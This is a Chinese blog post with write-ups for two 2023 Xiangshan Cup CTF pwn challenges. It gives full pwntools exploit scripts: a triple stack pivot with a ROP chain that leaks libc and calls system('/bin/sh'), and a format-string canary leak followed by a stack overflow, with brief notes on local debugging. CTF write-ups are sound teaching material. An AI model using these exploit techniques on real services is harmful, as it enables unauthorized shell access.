首页 > 其他分享 >2023香山杯

2023香山杯

时间:2023-10-16 11:15:02浏览次数:27  
标签:p64 libc canary base 2023 香山 payload log

2023香山杯

move

一眼栈溢出,然后三次栈迁移。

exp

from tools import*
context(os='linux',arch='amd64',log_level='debug')
p,e,libc=load("./pwn")
pop_rdi=0x401353
ret=0x40101a
bss=0x4050A0
leave_ret=0x40124b
read=0x401230
pop_rbp=0x40119d
payload=p64(pop_rbp)+p64(bss)+p64(read)
p.recvuntil("lets travel again!\n")
debug(p,0x40124B,0x4012D6)
p.send(payload)
p.recvuntil("Input your setp number")
p.send('\x78\x56\x34\x12')
payload=b"a"*0x26+b'bb'+p64(bss-8)*2+p64(leave_ret)
p.send(payload)
payload=p64(0x405070-8)+p64(pop_rdi)+p64(e.got['puts'])+p64(0x40125C )+p64(0x405070-8)+p64(read)+p64(0x405070)+p64(leave_ret)
p.send(payload)
libc_base=recv_libc()-0x80970
log_addr('libc_base')
bin_sh=libc_base+0x1b3d88 
system_addr=libc_base+0x4f420
payload=p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)+p64(0xdeadbeef)*2+p64(0x405030)+p64(leave_ret)
p.sendline(payload)
p.interactive()

pwthon

漏洞比较简单,就是格式化字符串,栈溢出,难的是第一次见这种题型,不知道怎么本地运行的,泄露canary 查找溢出偏移都是远程完成的,直到查找 libc 麻瓜了,必须本地调试

这个本地调试的方法有以下几个点

1、必须是 python3.7

2、使用 sys.path.append("/home/zikh/Desktop/app.cpython-37m-x86_64-linux-gnu.so") 去导入他给的库

3、使用 gdb 调试他给的库,在用 attach 调试进程

结合本地和远程泄露的 libc 地址发现 libc 就是我本地的环境

exp

from tools import*
context.log_level = "debug"
p=process(["python3.7","main.py"])
# p=remote('123.56.9.101',16674)
p.sendlineafter('> ','0')
p.sendline(b'%p.'*(0x20))
p.recv()
data=p.recv()
canary=data[-22:-4]
libc_base=data[-79:-65]#
log_info(canary)
log_info(libc_base)
canary=int(canary,16)
libc_base=int(libc_base,16)-0x10fcdd
log_addr('canary')
log_addr('libc_base')
p.sendline(b'a'*264+p64(canary)*2+p64(libc_base+0x4f2a5))


p.interactive()

标签:p64,libc,canary,base,2023,香山,payload,log
From: https://www.cnblogs.com/trunk/p/17766885.html

相关文章

  • 前台端分离 技术架构 系统架构图 20231016
       ......
  • 20231015NOIP训练赛
    20231015NOIP训练赛时间安排7:50-8:10写T18:10-11:50写T2总结T2写了分段但是因为太过自信然后全删了题解T1板子题,建一个超级源点即可T2数学题,用组合数计算,然后再用前缀和优化T3先建出S到T的最短路图,然后在在这个DAG上进行DP,注意还要再建出T到S的最短路图再跑一遍。T......
  • 学期:2023-2024-1 学号:20231426 《计算机基础与程序设计》第三周学习总结
    作业信息这个作业属于哪个课程2022-2023-1-计算机基础与程序设计这个作业要求在哪里2022-2023-1计算机基础与程序设计第一周作业这个作业的目标通过教材内容了解计算机信息层作业正文(https://www.cnblogs.com/hhaxx/p/17766468.html)教材学习内容总结......
  • 2023.10.15——每日总结
    学习所花时间(包括上课):9h代码量(行):0行博客量(篇):1篇今天,上午休息,下午校内算法比赛;我了解到的知识点:1.写对四道;明日计划:学习......
  • 2023-10-15 #73 就等待吧
    ——COP《雪来临时》如题,所以抱歉这次鸽了。511P8354[SDOI/SXOI2022]多边形三角剖分是我们已解决的经典问题,答案是卡特兰数。我们尝试通过一些手段去除题目中的限制,求出系数\(c_3,c_4,\cdots,c_m\),将问题规约至求若干次多边形的三角剖分数量,最后答案为\(\sum_ic_i\text{C......
  • 2023-2024-1 20231310《计算机基础与程序设计》第三周学习总结
    作业信息这个作业属于哪个课程https://edu.cnblogs.com/campus/besti/2023-2024-1-CFAP/homework/12999这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK03这个作业的目标计算机科学概论第2、3章,《C语言程序设计》第2章并完成云班课测试......
  • 2023-2024-1 202314125 《计算机基础与程序设计》第三周学习总结
    2023-2024-1202314125《计算机基础与程序设计》第三周学习总结 教材学习内容总结《计算机科学概论》第二、三章文本、字符集、压缩方法、音频、图像、视频表示法。进制转化Unicode与UTF-8,UTF-16之间的联系《c语言程序设计》第二章基本数据类型整型int字符char浮......
  • 2023-2024-1 20231415《计算机基础与程序设计》第三周学习总结
    这个作业属于哪个课程https://edu.cnblogs.com/campus/besti/2023-2024-1-CFAP这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK03这个作用的目标学习计算机科学概论第2章第3章和《C语言程序设计》第2章,并完成作业要求作业正文https://i.cn......
  • 20231407陈原《计算机科学与概论》及《C语言程序设计》第三周学习情况
    [2022-2023-1-计算机基础与程序设计]2023-2024-1计算机基础与程序设计第三周作业https://edu.cnblogs.com/campus/besti/2022-2023-1-CFAP[2022-2023-1计算机基础与程序设计第一周作业](https://www.cnblogs.com/rocedu/p/9577842.html#WEEK03)作业目标学习《计算机科......
  • 2023-2024-1 20231323 《计算机基础与程序设计》第三周学习总结
    2023-2024-120231323《计算机基础与程序设计》第3周学习总结作业信息作业所属课程2023-2024-1-计算机基础与程序设计作业要求2023-2024-1计算机基础与程序设计第三周作业作业目标学习进制转换与数据表示法作业正文https://www.cnblogs.com/besti-Wangmingxu......